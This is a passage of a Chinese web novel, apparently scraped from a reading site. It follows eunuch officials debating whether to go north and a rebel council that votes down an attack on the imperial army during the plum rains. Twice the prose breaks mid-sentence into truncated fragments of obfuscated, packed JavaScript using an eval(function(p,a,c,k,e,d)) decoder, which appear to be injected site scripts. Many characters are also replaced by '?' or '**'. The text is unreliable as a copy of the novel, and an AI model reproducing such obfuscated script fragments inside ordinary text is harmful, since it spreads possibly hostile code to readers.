“不是这个意思。”王焯摆手叹道。“小余……按照你的说法,昨日司马化达他们才到的涣口,当场争论之后才做了继续往淮西的决断?” “是。” “然后牛督公知道消息,原本准备直接过来寻我,却担心以他的修为与身份过于深入引起误会,再加上雄天王一直在左近徘徊,于是专门请你过来?” “是。” “你是上午到的,咱们直接见了面到现在?” “自然……” “好了。”王焯再度抬手制止对方开口。“那么换句话说,你今日过来,我其实没有半点准备,对也不对?” “王督公,此事由不得你准备。” “你还是不懂我意思。”王焯失笑道。“余公公,我是说,既然我没有准备,你何妨亲自出去走一遭,当面问问?侍军的人,到底愿不愿意跟你们走?” 余烩明显一愣,旋即肃然:“既如此,我就当面跟他们说清楚,绝不让王督公有什么为难之处,正好也取信他们。” 王焯连连颔首不及,便站起身来,而余公公也不顾连夜赶路之后的疲惫,随之起身而去。 外面还下着雨,到了五月,梅雨已经很明显了,而两人交谈的地方赫然是谯郡最北面的?县县衙内……得益于淮右盟的两次根据地转移,早在两年多前?侍军就已经将地盘从北面的梁郡南部扩展到此地,只不过因为?侍军实力有限,哪怕是产生了巨大的权力真空,也只能稳住这周边几个县而已,并没有继续扩展……而从禁军出现在淮北以后,?侍军的首领、黜龙帮的大头领王焯就一直都在此地。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是。”唤作章贵儿的内侍目光闪烁,却还是在周围人的奇怪注目下有些感慨说起了两人过往。“我比余公公晚两年入宫,却在内学堂刚建起来的时候在里面过照面,当时余公公读书好,是内学堂的第一,早早去做了文书,我不是那个料,读完了反而去了衣帽监……后来余公公都做到北衙执笔,常随御前了,还不忘看顾我们那些内学堂的爷们……咱们是从西巡开始错开的,真就是六年了。” 余烩听对方说完,几乎要落泪:“不要紧,咱们这会又能在一块了!” 章贵儿抿了下嘴,又看了眼王焯,然后恳切来问身前之人:“余公公也要入帮吗?那就太好了。” “你还不知道吧?”余烩一愣,继而一笑,便将禁军与黜龙帮维持住了大略和平,禁军将走淮西,黜龙帮放任?侍军来去自由,而牛督公又为内侍争取到了西苑等等好处大略说了一遍。“咱们爷们可以回东都了,将来在西苑一起快活。” 章贵儿点点头,干脆回道:“我不去!”说着不顾对方惊愕将手抽回,转身继续叠衣服,“回东都又如何?东都也不是家……我不去,留下挺好。” 余烩本想来劝,但回头看到王焯怪异表情,反而无言,只低头走了出来。 来到外面雨中,余烩拢着手沉吟片刻,正色告知王焯:“王督公,还是敲钟把人都**起来最好……” 王焯点头,便要去叫人。 余烩复又拦住对方:“能不能只敲钟聚人,王督公就不要露面了?” 王焯立即点头:“我随余公公在这里等着,人到了,余公公你去,我留下。” 余烩只是颔首。 片刻后,县衙里开始响起钟声,并有吏员骑着驴出来,沿街呼喊,要内侍出身的人往县衙去,不过一会功夫,便有上百人**而来。 “城外还有,余公公要等吗?”王焯认真提醒。 “不必了。”余烩也正色回复道。“我一定要跟他们单独说清楚,牛督公也好,我们其余这些江都的爷们也好,都不会扔下他们不管的。” 说完,便一个人冒雨往县衙去了。 王焯负手立在原地,隔着细雨望着对方略显畏缩的背影,神情复杂。 另一边,余烩来到县衙门前,也不知道今日第几次重新开始讲述事情原委,但讲着讲着居然有些哆嗦和颤抖……要知道,这可是五月梅雨,主打的就是连绵不绝加一个高温,也不知道他抖什么。而县衙正堂前的街上,包括之前章贵儿在内的足足百余名内侍打扮各异,神色不同,却都立在雨中,用一种复杂的眼光来看正在恳切说明情况的余公公,同样不知道都在想什么。 就这样,过了好一阵子,余烩方才说清楚情况,也是愈发诚恳起来:“诸位爷们,跟我走吧,牛督公也好,我们这些江都的爷们也好,都不会扔下大家不管的!” 然而,没有人理他。 大白天的?县县城里,下着雨,称不上嘈杂但也绝不算安静的,可现在,这上百名内侍却只是站在那里一声不吭。 坦诚说,这一幕,近乎于诡异。 不过,余公公明显有些不安和惶恐的同时,却居然没有过度的惊异……可能是连夜赶路的缘故,也可能是现在有些惊恐过了头,以至于他自己都没有注意到,聪明如他其实已经察觉到了一点事情的真相,只是还没拐过弯罢了。 过了一会,大概是有些可怜他,也可能是无可奈何,章贵儿在内的一些认识余公公的内侍们开了口: “我们不去。” “我们不走。” “余公公回去吧。” “留下也行,反正我们不去。” “回到东都,西苑就是咱们的,咱们把西苑修好,进退自如啊。”得到回应的余烩似乎如释重负,努力补充了一句。 “余公公,进退自如什么意思?”章贵儿蹙眉道,他是真不理解。 “就是说,我们可以在西苑关起门来守着,借着牛督公的本事做庇护,借着东都仓储的粗粮,等着天下易主。”余烩连忙解释。“你们想想,我们一群没有根的人,总要依附个皇帝跟宫城?又不像宫人,还能嫁出去。” “那我更不去了。”听到这里,章贵儿的声音忽然高亢起来。“我这辈子都不伺候人了!” “我们也不要人遮护,我们自己就能护自己。”一名披着蓑衣的内侍扶着刀对道。 “反正我们不去东都!” “我们就留在这儿!”后面的话与之前零星的回复很像,但却是几乎所有人一起喊了起来。 余烩余公公立在那里,目瞪口呆,这位北衙督公既恐惧又不解,偏偏又隐隐想到了什么,继而隐隐有些好奇与期盼。 “都回去吧!”过了一阵子,大头领王焯出现在众人身后,从容下了命令。“我与余公公再私下说话。” 众人依言散去,王焯负着手走上前去,来到对方跟前,然后看着粗气连连的余公公平静开口:“小余,你看明白了吧,道理很简单,他们喜欢这几年的日子……” 余烩点点头,复又摇头,俨然还是难以置信。 “我来告诉余公公咱们的岔子出在哪儿……岔子出在余公公你们觉得我们的日子应该很苦很累,所以无论如何都没有在宫中舒坦,宫中有供给,最差也有陈粮送来吃,所以你们觉得你们爷们是在救我们爷们。”王焯把脑袋往前探,几乎是用嘴挨着对方耳边轻声言道。“但你想过没有,你跟牛督公那边的爷们,只捱过那般日子,却没受过我们这般日子,而我们这边的爷们,两边的日子都享用过,但我们都觉得现在这个日子更好过……那你说,该听谁的?或者直接一点,到底哪个日子好过?” “这边日子好过。”余烩到底是内学堂第一出身的人,一瞬间就得出了答案。“只能是这里日子更好过。” “就是这个意思。”王焯微微缩回头来,死死盯住了对方的眼睛。“我们这些爷们现在的日子更好过,所以谁要我们过之前那种伺候人的日子,还要扔下这里自家产的粮食去吃陈粮,我们就要跟谁周旋到底……小余,你、牛督公,还有那些江都的爷们,你们现在得选一个,是要跟我们一起过这个好日子,还是要跟我们爷们刀兵相见,周旋到底?!” “我跟你们过好日子。”气息重新稳下来的余公公还是那般反应灵敏。“无论如何,咱们都不能自相残杀。” 王焯立即点头……北衙督公这个位置,素来不养闲人……若对方真的冥顽不灵,也就休怪他心狠手辣了。 第二十二章风雨行(22) 进入五月,梅雨开始肆无忌惮的展示自己的威力,潮湿、泥泞、瘙痒、酸臭、冷热不均、疲惫与疾病或多或少的侵袭了所有军营与行军队列。 到了这个时候,什么名师大将,全都败下阵来。 黜龙军前头那几个营里最喜欢乱跳的,再不能逞能,单通海、伍惊风、刘黑?、夏侯宁远、伍常在几营全都蔫掉,范望、曹晨等河北骑兵营也都不敢再四处乱窜,反倒是李子达、左才相几营,因为从上到下本地人颇多的缘故,算是熟悉并善于应对气候,反而维持着活跃。 这个情形,大大刺激到了李定李龙头,在张行重新南下抵达战线之前,他几次三番进入涣水下游区域,有时候是徐世英随行,有时候是雄伯南随行,以图近距离观察前线黜龙军与禁军的状态,而得到的结果也让他更加心痒难耐……原因不言自明,相对于占据了半?主场优势的黜龙军,仓促启程的禁军对梅雨的应对能力更差,遭遇的困难也更大,部队的削弱也更明显。 更不要说,随着雨水渐渐累加起来,淮北各处的淮水支流都在涨水,这使得自东向西运动的禁军天然会前后脱节,而南北往来的黜龙军更容易抓住战机。 一句话,即便是早有预料,但是黜龙帮还是低估了天威,而且高估了禁军的后勤保障能力。 时代不一样了,大魏没了,仓储都只剩碎成渣的陈粮了,考验所有人的东西也都变了。 五月初四日晚,闻得张行日夜兼程折回芒砀山,李定也即刻从前线折回,向张行当面说明了情况,并提出了正式的军事建议: “现在的情况是,首先,咱们二十五个营的部队主力已经全部来到左近,刚刚离开芒砀山,正往涣水中游稽山周遭进发。 “其次,禁军各部因为遭遇梅雨,行军松散拖沓,其主力部队前锋已经离开涣口镇三日,后尾还有部队尚未离开涣口。他们的前卫吐万长论已经到达了更西面的淝水口,而后卫鱼皆罗遭遇后勤困难,却还在徐州西南艰难跋涉。 “再次,禁军主力为了躲雨和取得补给,明显是准备先沿着涣水到谯郡,再做转向,相当于我们面前拐了一下,将腰部对着我们暴露了出来。 “这样的话,等禁军主力中段抵达谯郡最南端准备离开涣水转向时,我们的部队应该已经在稽山一带到位,到时候即刻发兵南下,就在涣水截断禁军,然后配合前线十五个营,两面包夹,便可将禁军主力涣水东岸一部一举吞下,然后反过来从容逼降鱼皆罗…… “这个方案的好处是,打的快,打的猝不及防,只要迅速解决战斗,禁军剩下的部分和东都是来不及做反应的,来得及以后怕是也不敢做反应的。” 张行目光落在了对方身下断断续续滴落的雨水,一声不吭听对方说完……其实,他还没有听完就已经意识到,这个计划,比之他在河北收到的概念性计划更加清楚明确,而且李定的态度也说明对方是经过认真考虑后才做出的计划,最起码李四本人认为这个计划是有充足可行性的。 当然,如果李定认为这个军事计划有充足可行性,那张行自然也会认可它的可行性。 此时,已经是二更天的夜里了,外面雨水淅淅沥沥,甚至能听到从悬崖上流下的水流声,尚有些混乱的芒砀山聚义堂上灯火通明,此时只有张行、范六厨、秦宝等寥寥几人来听李定言语,其余巡骑、文书、参军等随行或留守人员皆在忙碌,至于张世昭,因为年纪大了太累,一到此地便去下面的仙人洞休息去了,根本没有喊他。 在几人的注视下,张行只花了几个呼吸的时间便给出了答复:“发巡骑信使出去,能在明晚之前赶回来的所有头领都要回到此处,咱们一起举手决断是否开战。” 一言既出,聚义堂轰然乱作一团,李定则定定望着自己这个好友,一时间竟不知道自己该是什么心情? 感激对方的快速反应与迅速决断? 还是鄙夷对方对开战的犹豫不决,将主动权推给所有前线头领? 而很快,聪明如李定便醒悟过来――张行个人还是抵触作战,但却从军事上认可这个作战计划,所以才会如此。 一念至此,李定决定尽最后努力来尝试改变对方的态度:“张三,不要担心战损,现在来看,局势比预想的要好,而按照这个方案来,便是有战损,我们也能在战后通过俘虏和扩张,迅速把损失补回来,甚至得到更多。” “我信你。”张行点点头,双目有些充血。“但是我怕的不止是损失太重,也怕这个。” “也怕这个是什么意思?”李定一时不解。“这个是哪个?” “就是怕自己人死太多,也怕人死后补进来许多禁军。”张行平静以对。“李四,你自己说,就这些禁军,便是降了,也果真可靠吗?无根之募军,安家在东都,一辈子最精华的四年废在了江都……帮里总共五六十个营,十来万人,要是**两三万再补进来两三万这种禁军,值得吗?” 李定愈发不解:“军队的事情,缺了补上,然后严明军纪、训练得法,能用就行……便是忧心他们会军心不稳,先打散了补进去,然后过几年再慢慢换成新兵,将他们打发出去便是,何至于为此患得患失到这种地步?” “李四,咱们黜龙帮的军队不止是用来打仗的。”张行沉默了片刻,给出了最终答复。“具体来说就是,在这之前,因为打仗的缘故,帮就是军,军就是帮;而现在,黜龙帮已经有了根基,又建了大行台,正该将帮会从军中扩散出来,重塑一个大的帮会;更不要说,禁军一走,河北时机也到,打不打仗接下来大概都会扩张,到时候还要学以前的时候直接任用降人吗?这些地方官和行台官又从哪里来?自然是从军中来。所以,这个节骨眼上,军队产生大规模损伤,影响的不止是一时的战力,而是整个黜龙帮的发展。” 这次轮到李定沉默了。 半晌,他才叹了口气:“你总有自己的道理,但我还是觉得,这仗不打可惜,而且只要打赢了,局面跟着开了,你想做什么都更容易……更不要说,真打起来,未必有那么多伤亡。” 张行点点头,不再做声。 李定也不吭声。 没办法,事情就是这么个事情,军事活动有风险,谁也不敢做保证。而且事到如今,两人再相互计较这些也已经无用,多少年都没有改变对方的思想也不可能在这么一日夜内促使对方改变。 所以,两人也只好一起在这个潮湿的聚义堂中等候人来。 梅雨中,枯燥的等候过程无疑是煎熬的,但实际上,得到消息后纷纷冒雨折返的黜龙帮各路头领、大头领才是真正的遭罪。 张行没有刻意隐瞒此次召集头领们的原委,之前李定的反复侦查与表态以及眼前的局势,前线众人自然也都清楚。 故此,五月初五,芒砀山外的路口,雨中飞驰的刘黑?一见到等在这里的单通海,便直接抱怨起来:“单龙头!各处都在行军,雨下成这样,死的活的全都泡烂了,李龙头是发什么疯,非得逼着首席这么着急把人聚起来?我这般修为和马术,路上都栽了一匹马!” “不要抱怨。”单通海当场皱眉,等对方下马过来后却又觉得自己语气不对,复又在雨中解释。“无论如何,还没开战,首席跟李龙头愿意开会商议,便是好事!” 刘黑?只是胡乱点头。 单大郎见状,却又不解:“黑龙,你不是一直想打吗?照理说该高兴才对吧,如何这般不满?” “我是想打,却信不过李定。”刘黑?毫不顾忌已经到了芒砀山,张口就来。“这李定是什么人,一个降人,也未见本事,凭什么他说打就打?凭什么他说怎么打就怎么打?我不服!” 单大郎恍然,却又有些无语:“若是这样,你想如何?” “自然想单龙头?做第一线,徐大郎做第二线,我来做先锋!”进入芒砀山特殊地形下的山内,刘黑?声音越来越大。“张首席自家做主帅,在芒砀山或者稽山坐镇,便可以指挥若定了!” “张首席也未必擅长指挥这么多兵马。”单通海再度皱眉更正。“平素都有马分管领着参军们为他谋划的,现在马分管不在,只能依仗李龙头……之前咱们的军阵都是李龙头帮忙筹划的,人家是有真本事的,而且蒲台那边几位头领,也对李龙头服气。” 刘黑?听到这里,终于有些不安,赶紧不再说李定的事情,同时语调也降了下来:“不管如何了,咱们总该要打的,这点应该是一样的。” 单通海没有吭声,只是牵马入了仙人洞。 仙人洞是芒砀山内部的自然山洞,原本在芒砀山内并不显眼,但是当二十多个营于梅雨季节汇集过来以后,却成为了储存物资的最好去处,后来被雨磨病的人一多,又变成了伤病员修整外加开小灶的地方。现在大军已经启程,此地自然成了最后一个天然营房。 反倒是聚义堂在悬崖顶上,又潮又不方便,只是空气好一些。 这个时候是中午,已经有不少头领抵达了,而刘黑?自称路上累的不行,却在进入仙人洞后第一时间四下窜动串联起来,一意鼓动开战。 且说,周遭四十个营,便至少有四十多个头领,其中二十五个营就在芒砀山附近,都是上午便抵达……这也是张行召开前线会议的条件所在,而以刘大头领的活力,理论上自然可以在这些人中如鱼得水,但实际上,这位黑龙一头扎进去以后,却发现诸位头领来源五花八门,连他都有些吃力。 原本济阴行台或者将陵行台的还行,都算一起河北并肩战斗过的,说几句话就扯上去了;但也有柴孝和带来的一些济北行台头领委实难以入手,因为他们多是当年济水下游的降人,这几年根本就是充当预备队闲置的,资历却比刘黑?还老,而且之前在河北还没显出来,如今在河南老家旁边却反而活跃团结了不少;至于李定带来的五个营的头领,他更是摸不着头脑,唯独考虑到李定的下属其实正是支持开战的盟友,他反而不需要多做理会了。 实际上,在将精力主要放在了济阴行台这边十来位头领身上,并获得了一定承诺后,刘黑?摆着手指头算了一算,惊讶发现,这些表态的主战派加上李定的新旧下属,其实已经占据了多数……好像只要提起前线决议,那开战这件事原本就会通过一般……不由心下大定。 到了下午,一个更好的消息传来,为了不耽误时间,在已经到达了三十七名前线领兵大小头领的情况下,张首席和雄天王外加前线两位龙头稍作商议,决定不再等待,立即召开决议。 众人闻讯,立即起身,就往聚义堂那边走,到了地方,四下一看,便也晓得是哪些人。 首先是张首席这边几个抓总的,包括雄天王也在,蒙基部的张世昭张分管也跟来了,那位秦宝也在,却没有举手的权责,类似的还有虞常南跟白有宾,倒是就在谯郡做太守的诸葛德威居然没来。 而下面领兵的,大概分为四拨: 徐世英为首,包括牛达、贾越、翟谦、芒金刚、徐开道、张善相、房彦释、庞金刚、张公慎、冯端、王雄诞、贾闰士,合计十三营,多从河北过来; 柴孝和为首,包括徐师仁、樊豹、贾务根、左才相、关许、张道先……济水下游这个行台,实力素来最弱,这次却因为地理原因来了七个营,反而算是倾巢而出了; 李定为首,其麾下指定大头领苏睦,三名头领王臣愕、樊梨花、苏靖方、王臣愕各领一营,带了五个营出来……其妻张十娘代李定暂领本营,也有头领身份,也过来了。 单通海为首,却不是指他领的济阴行台,而是他临时指挥的前线营中此时抵达的头领,包括王叔勇、伍惊风、刘黑?、范望、左才相、夏侯宁远、郭敬恪、尚怀恩、韩二郎、曹晨、伍常在……其余几营因为离得远,此时都未到达。 算在一起,能举手的,乃是四十一人。 “临阵决断,不要耽误时间。”张行坐在那里制止了众人的寒暄。“就一件事,李龙头定了一个奔袭涣水下游的计划,大家听一听,议一议,然后立即举手,决定是否主动出击作战。” 聚义堂上立即安静了下来。 李定也毫不犹豫起身来做了讲解,果然如刘黑?所想的那般,大多数人当场意动……说白了,这些领兵的头领,还是希望打仗的多些,所谓只算军事帐,其余不管的。 说完之后,李定却没着急回去,而是看向了张行,主动来问一事:“张首席,有件事情要你亲口来说清楚……之前你说几家降了禁军的多是你安排,但彼时只说是为了拖延时间损耗他们,现在能否说清楚具体安排?” 张行顿了一下,点了头:“知世郎那边是他自荐的,王厚听说曹彻**,一刻都不能忍耐,问我要不要打?我说不确定,最好不打,但真打起来也要上,他便说想诈降,无论如何做个虎口夺食,便是大魏真的**,也要对大魏朝廷的尸首上捅一刀……我看他说的恳切,就让他去了,还叮嘱他可以去找虞……文书。” 众人心中一跳,不管明白还是不明白的,都立即看向了立在柱子后面的虞常南。 后者毫不犹豫走出来解释:“我给知世郎出了主意,让他奉承司马化达,然后又贿赂了封常,让封常说话,给知世郎安排了看管后宫、皇帝与文武官员的活……我们当时想的是,不管是打仗还是行军,文武百官都要拖在后面,到时候若能支开牛督公,便可以直接卷了小皇帝、太后和文武百官往我们口袋里钻!” 众人又是心中一跳,这位虞文书**哥哥以后,果然是肆无忌惮。 而张行也继续说道:“还有?侍军那里,就说的比较开了,我告诉王焯,他们真想走我也不拦的,可不管如何,都要尽量替我拴住牛督公,必要时给知世郎一个结果……而若要作战,还是希望他们尽量协助。” 这就比较合乎张首席的作风了,不少人都点头。 徐世英立即提醒:“但是王焯只带了两千人过去,也就是他自家一个营的编制,他的?侍军,尤其是许多安家的内侍,都在原地不动,如今大军去了稽山,将?侍军的那几个县挡在身后,也不可能走了。” “那就是不会与我们做对了。”单通海迅速下了结论,然后看着张行追问。“还有辅伯石呢?也是首席安排的?” “我倒是跟杜破阵说,他可以投降,也可以作战,只要拖延住禁军给我们争取时间就行。”张行也继续给出答复。“但杜破阵干脆让开了徐州,反而是辅伯石去降了……” “辅伯石与杜破阵无所谓。”还在众人中间立着的李定打断了对话。“现在的情况是,除了我之前说的局势,我们还有两股内应在敌营……而且,虽然一开始让他们做内应时是担心我们准备不足,是用来拖延的,但两家也都得到了必要时参战的说法……甚至,我们有机会动摇对方中军主力坐镇的那位宗师。” 众人更加意动。 而张行还是之前的态度,并没有主动鼓动,也没有反对,只是平静来看一众头领:“诸位兄弟,可还有言语?举手前都可以来说。” “打是对的!哪有肉从嘴边过不下嘴的?”刘黑?迫不及待。“首席,不打这一场,天下人还以为我们怕了禁军!反过来说,吃下他们,天下人就都晓得我们的威势,然后让杜破阵交出徐州,滚去淮南,他都能老老实实替我们做南面屏障。” 不用张行,雄伯南便严肃提醒:“杜破阵是咱们帮中龙头,便是这次有了不妥当,也要战后决议处置,而且不管如何,都不该说的淮西兄弟们像外人。” 刘黑?一时讪讪。 而就在这时,单通海霍然站起身来:“咱们今日只就事论事便可,我反对主动开战。” 在场至少一多半人都目瞪口呆,刘黑?更是有些在座中摇摇晃晃。 “我的道理很简单。”单通海走上前去,与李定并立,来看周围人等。“诸位,咱们在河北开大会的时候是做了决断的……那时候说的很清楚,禁军不主动来犯,我们就不打!而现在跟之前的预料有什么明显的变化吗?我们集结快了一点,兵力充足了一些,柴龙头他们组织后勤充分了一些,然后这梅雨厉害了一点,知世郎他们做的内应顺利了一点,那又如何呢?还是没有特别的大的变化!没有新的军情!既如此,那凭什么前线四十个头领忽然就要推翻之前**十个头领做的决议呢?! “更重要的是,这次虽然是张首席发动的决议,算是合乎规矩的。但大家都知道,张首席是被李龙头一个人撺掇的,而李龙头之前在河北难道没有说想打吗?为什么他只是坚持己见,就可以动摇首席,让首席日夜兼程赶过来,连露面威吓薛常雄都没做就回来主持这个事情?这合乎规矩吗?” 李定面色发青,他虽然早就知道自己不见容于黜龙帮内部的一些实权人物,却万万没想到这种杯葛来的那么快,而且角度那么刁钻,甚至发起者都有些出乎他的意料。 场中许多头领也都凛然,单龙头跟新降的李龙头打起来虽然有些让人惊愕,但也只是如此,黜龙帮又不是没见过内斗,张行李枢之间、陈斌窦立德之间,谁还没见过呢?可是,单龙头连稍带打,把张首席也挂进去,那就有些吓人了。 之前上蹿下跳的刘黑?此时更是屁都不放一个。 李定没有开口,只是冷冷以对,而张行则缓缓开口:“若是你单龙头力陈要害与我,我也会日夜兼程回来的……至于召开决议,是我认可李龙头开战的计划,却觉得开战后**风险仍大,心中确实起了犹豫,所以才召集你们决断。” “敢问张首席,什么叫做**上风险仍大?”单通海微微皱眉。“这个词又不好懂了。” 张行也不慌张,却看了李定一眼。 李定一愣,按下气来,转身与单通海言道:“这个东西张首席昨夜便与我说了……敢问单龙头,你可知道黜龙帮的军队素来不只是军队吗?” 这话一出口,李龙头便觉得自己脑子一懵,自家明明是要促进开战的,怎么还要替张三这厮做反向的解释? 单通海同样一愣,他从对方一说出口便晓得自己这波是够不着张首席了。 而果然,等李定硬着头皮将张行昨晚上那套道理说完,单通海思量片刻,也只能瓮声瓮气问了一句:“所以,首席私人是反对作战的了?” “不是。”张行适时中止了左右互搏,恳切出言。“我私人现在是想打的,我这人性情跳脱,占了优便想欺压过去,稍受挫便忍不住想躲……只不过,我从四年前寻到王五郎庄子上决心**那一刻便晓得,咱们做了首席、龙头的,志向是志向, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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单通海微微一笑,终于将早就准备的关键言语说出了口:“事已至此,若不举手决议,反而可笑。我的意思在于,现在是推翻旧的全帮大会上的决议,总要有个限制……所以,在举手决议开战与否之前,要先取一个小决议,举手只看简单多少来定,是要一半人同意便可以小改大,还是三分之二的人同意才更改?而我个人以为,既是以小改大,最少要三分之二的人,也就是最少二十八人同意作战,方可有什么将在外军令有所不受的戏码!当然,若是首席有自家想法,我这个龙头尊重首席,毕竟也是军中,是前线。” 说完,径直转回座中。 在场之人几乎人人愣住,被将了军的张行、李定不说,包括徐世英也都重新打量此人……勤勤恳恳的徐大郎万万没有想到,这单大郎还真靠着规矩做出了一点钳制张首席的作用……可惜,还是晚了,自家雄心一去不复返,也不能与这位老兄弟做联手了。 片刻后,李定立在那里,思索片刻,左右无法,也只能回去。 而雄伯南见状,只是微微蹙眉来言:“可还有人要说话?” 座中并无人理会。 雄伯南回头去看张行:“张首席怎么看?” “单大郎言之有理。”张行想了一想,也无话可说。“前线不是不能相机决断,但既是临时以小改大,总要有个限制,也得有首席、龙头在场主持,就多举一轮手吧。” 雄伯南点头,立即来言:“既如此,大家不必耽误,觉得以小改大要三分之二的便举手,过半来定这一轮。” 说着,雄天王先行举手,张行也随之举手,周围人见状,多跟着举手,只有跟着李定来的武安军五六人未动,当日蒲**成员房彦释未动罢了……就连刘黑?,在左右打量了一下后,也随之举手。 “三十三手。”随着最后韩二郎认真思索后举手不动,等了片刻的雄伯南选择报数。“过了……现在举手决定是否改变计划主动开战,同意的举手,要有二十八手以上方可……大家不要犹豫。” 在虞常南与白有宾的注视下,一只又一只手被举起,李定本人和他麾下五人,外加房彦释是第一波;看了一眼自家老大哥的夏侯宁远第一个打头,牛达、贾越、翟谦、伍常在、刘黑?、左才相、张善相等立场坚定的主战派第二波举手;然后是徐世英、王叔勇、张世昭、贾务根、韩二郎几人稍作思索,依次举手补充。 等到贾闰士最终在催促声中举手完成,在虞白二人明显失落的眼神中,雄天王也举起了手,然后宣告了结果:“二十二手,没有过。” 这是个很让人沮丧,也很让人不服气的结果。 但之前两次决议都没有露什么鳞爪的张首席此时反而严肃:“既是规矩就要遵守,这是大家公议的结果,我也要在此重发军令,除非前线有明确的军情变化,否则诸位回去还要恪守之前的军令,不得擅自发动集团式攻击,不得主动攻击对方主力军营与驻扎城镇,稽山那里的二十五个营更要按兵不动……全都速速回去!明日我也启程,往稽山而去督军。” 众人收敛心神,各自起身拱手行礼,然后议论纷纷而去。 李定本想留下,也只叹了口气便走,张行与雄伯南也都起身,看样子既是送人,也是准备往仙人洞去休息了。 倒是张世昭这个时候,估计休息妥当了,反而随意,居然主动来与虞常南、白有宾二人说话。 二人原本沮丧,见到这位主动过来,反而惊悚,就在堂上赶紧俯首。 “你二人似乎有些沮丧?”张世昭负着手明知故问。 “不敢。”白有宾本能否定。 “确实。”虞常南立即承认。 “无妨的。”张世昭笑道。“你们看老夫我,我也想打,但我就不沮丧,甚至有些高兴。” 白有宾与虞常南对视一眼,齐齐俯首来对:“请张公赐教。” “道理很简单。”张世昭和和气气道。“一来,张首席以下,黜龙帮这些人能摒私**,哪怕是装的,都极为难得,因为咱们是见惯了假公济私,乃至于公就是私的……而且我告诉你们,我在黜龙帮藏身三载,看了许久,就是想看张三郎这几位的虚实……恕老夫直言,只说张三郎与雄天王这两位,便是装,那也是装的滴水不漏,也足够我豁出来残生再赌一局了。所以,你们也应该感到高兴,因为这样的黜龙帮能走的更长远,你们也都有长远时间来做长远打算。” 虞白二人听到这里,到底是有些震动,毕竟,眼前之人对他们来说本身就是一个最好的保证书。 更不要说…… “更不要说,二来,便是今日稍有可惜,可本来也只是李四郎的一次躁动罢了,只是回到原本。”张世昭继续笑道。“而回到原本,前线局势还是可能发生变化的嘛,这谁又说的清呢?” 百余里外,涣口镇,天色已经黑了下来,跟芒砀山不同,这里雨水更大一些,而且因为芒砀山聚义堂在悬崖上,此处却挨着涣水、淮水,所以居然蛙鸣不断。 镇中一处小楼内,浑身湿漉漉的王焯站起身来,来到窗前,准备将窗门关上。 “不必关窗。”坐在屋子角落里尝试用绳子修复一件蓑衣的牛督公出言喝止。“我在这里,除非也派来一个宗师,否则不会让人偷听出去的。” 王焯点点头,回到自己座位上,继续去看对方手里的麻绳与蓑衣,而在旁边的余烩则明显陷入到了某种焦躁情绪中,只是攥着沾水的衣服眉头紧皱。 看了一会,王焯忽然开口:“督公,我记得你观想绳子这事是先帝要求的?” “不错。”牛督公忽然放下手中蓑衣与麻绳,一时叹气。“不过应该是先帝的先帝了……总之,先帝的意思是,让我们做绳子,给大魏拴住一些东西……我这人笨,不晓得该拴些什么,有时候拴车,有时候拴船,有时候拴蓑衣;曹皇叔倒是聪明,知道是要栓人,却死的比我还快。” 话到这里,其人严肃向王焯来言:“小王、小余,我也劝你们不要太聪明!乱世之中,太聪明反而容易葬送局面!现在大魏到了这个份上,是他曹家人自绝的生路,咱们可以不管,可自家人呢?我身为督公,不能放任你们将他们断送给禁军!” “督公!”余烩当场跺脚。“都说了,这不是聪明不聪明的事情,是要从咱们整体考虑,爷们一分为二,一半的人都说去北面好,不想去东都,另一半人不知道去哪里,那便该去北面才对!而督公你呢,你自观想是绳子,如今大魏又亡了,便该将自己与我们爷们所有人拴在一起才对!” “余公公还不懂吗?”牛督公按着蓑衣来对:“老夫何时说不听大家的?老夫是因为事关重大,不敢轻易信你们两个聪明人罢了!若是两边爷们都说要去北面,我跟你们俩在这里自家撕扯什么?” “只是这个局面,难道要我们当着禁军的面把人都聚在一起挨个问吗?还是请督公你北上去亲眼看一看?你不怕死,我还怕你一个人不清不楚的过去会被那紫面天王卷走了呢!”余烩都快急**。“督公,明日咱们也要启程,得速速定计才对,最好是一日夜能跑到稽山后面的距离就脱身!” 牛督公沉默不语,明显也有些焦躁起来。 而这个时候,眯眼观察牛督公许久的王焯突然再行开口:“我倒有个折中的主意,可以大略证明爷们大家是想去北面的。” “什么?” “如何?” “很简单,我这边两千个爷们十五个队将,再请督公你亲自从这边挑选二十个带头的爷们,咱们聚在一起,举个手,督公你算两手,其余一人一手,回东都的手多,我就随你们去东都,去北面的手多,就请督公你随我去稽山!”王焯果然给出了一个方案。“这个公平吧?可行吧?讲规矩吧?” 余公公当场愣住,而牛督公想了一想,居然深以为然。 第二十三章风雨行(23) 第483章风雨行(23) “既然是爷们全体的意思,咱们就去北面。” 天亮之前,王焯站起身来,对着周围明显有些气喘吁吁的众人来言。“到了北面,士农工商都可以做,不会的有原本的爷们教你们,暂时缺衣少食会有爷们分你们,但凡过去,我不敢说人人有饭吃,人人有衣穿,但只要大家自主自立,就绝对能养活自己,也绝不会再受人腌臜气!” 跟着王焯来的十五名队将即刻应声,喊了一声“好”,堪称整齐划一,而从江都来的的二十名管事也随之零散附和。 牛督公在旁,脸色其实并不好看,因为他看的清楚,之前举手决议中,江都这二十个管事其实并没有什么强烈的倾向,更多的是受周围人的影响和鼓动……这个过程里,自家迟疑和谨慎的态度虽然表达了出来,可最多是抵消王焯与余烩这俩人,却架不住北面来的十五位队将早有立场,而且全程都不顾及自己的态度在那里鼓噪煽动。 两边原本都是旧识,相互知根知底,这种来自于现场近乎一半人的猛烈煽动,效果是不言而喻的,最后居然有足足三十人举手赞同北上。 “督公以为如何?”就在这时候,王焯忽然回头,去看面色不佳的牛督公。 牛督公与对方对视起来,一时不语。 不止是一旁的余烩,便是看似掌握主动权的王焯心都提到了嗓子眼上。 